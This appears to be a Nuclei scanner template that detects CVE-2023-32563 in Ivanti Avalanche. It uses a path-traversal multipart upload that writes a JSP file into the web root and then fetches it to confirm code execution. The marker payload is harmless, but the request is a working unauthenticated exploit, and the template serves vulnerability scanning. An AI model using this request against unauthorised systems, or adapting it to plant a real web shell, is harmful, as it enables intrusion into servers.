2023-08-26 07:53:49 +00:00
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id: CVE-2023-32563
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info:
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name: Ivanti Avalanche - Remote Code Execution
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author: princechaddha
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severity: critical
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description: An unauthenticated attacker could achieve the code execution through a RemoteControl server.
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2023-09-27 15:51:13 +00:00
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
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2023-09-06 11:43:37 +00:00
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remediation: |
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Apply the latest security patches or updates provided by Ivanti to mitigate this vulnerability.
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2023-08-26 07:53:49 +00:00
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reference:
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- https://twitter.com/wvuuuuuuuuuuuuu/status/1694956245742923939
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- https://forums.ivanti.com/s/article/Avalanche-Vulnerabilities-Addressed-in-6-4-1?language=en_US
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- https://nvd.nist.gov/vuln/detail/CVE-2023-32563
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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2023-08-28 18:37:37 +00:00
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cve-id: CVE-2023-32563
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2023-08-26 07:53:49 +00:00
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cwe-id: CWE-22
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2023-11-27 09:19:41 +00:00
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epss-score: 0.35418
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2023-12-12 11:07:52 +00:00
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epss-percentile: 0.96721
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2023-09-06 11:43:37 +00:00
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cpe: cpe:2.3:a:ivanti:avalanche:*:*:*:*:*:*:*:*
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2023-08-26 07:53:49 +00:00
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metadata:
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2023-08-28 18:37:37 +00:00
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max-request: 2
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vendor: ivanti
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2023-09-06 11:43:37 +00:00
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product: avalanche
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2023-08-26 07:53:49 +00:00
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tags: cve,cve2023,ivanti,avalanche,rce,oast,unauth,intrusive
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http:
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- raw:
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- |
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POST /Servlet/Skins HTTP/1.1
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Host: {{Hostname}}
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Content-Length: 333
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Content-Type: multipart/form-data; boundary=------------------------eacf31f23ac1829f
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Connection: close
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--------------------------eacf31f23ac1829f
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Content-Disposition: form-data; name="guid"
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../../../Web/webapps/ROOT
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--------------------------eacf31f23ac1829f
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Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp"
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<%
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2023-08-28 06:51:54 +00:00
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out.println("CVE-2023-32563");
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2023-08-26 07:53:49 +00:00
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%>
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--------------------------eacf31f23ac1829f--
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- |
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GET /{{randstr}}.jsp HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: word
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part: body_2
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words:
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- "CVE-2023-32563"
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2023-12-29 09:30:44 +00:00
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# digest: 4a0a0047304502207d691d13397c3d01c04b8f7cb8d17e532009d814bc481a201e8cf7ae4b34ac43022100d9daff89cf1274dd1fdd2358015733065686878f0a6fc98e9b3c5059e079ca66:922c64590222798bb761d5b6d8e72950
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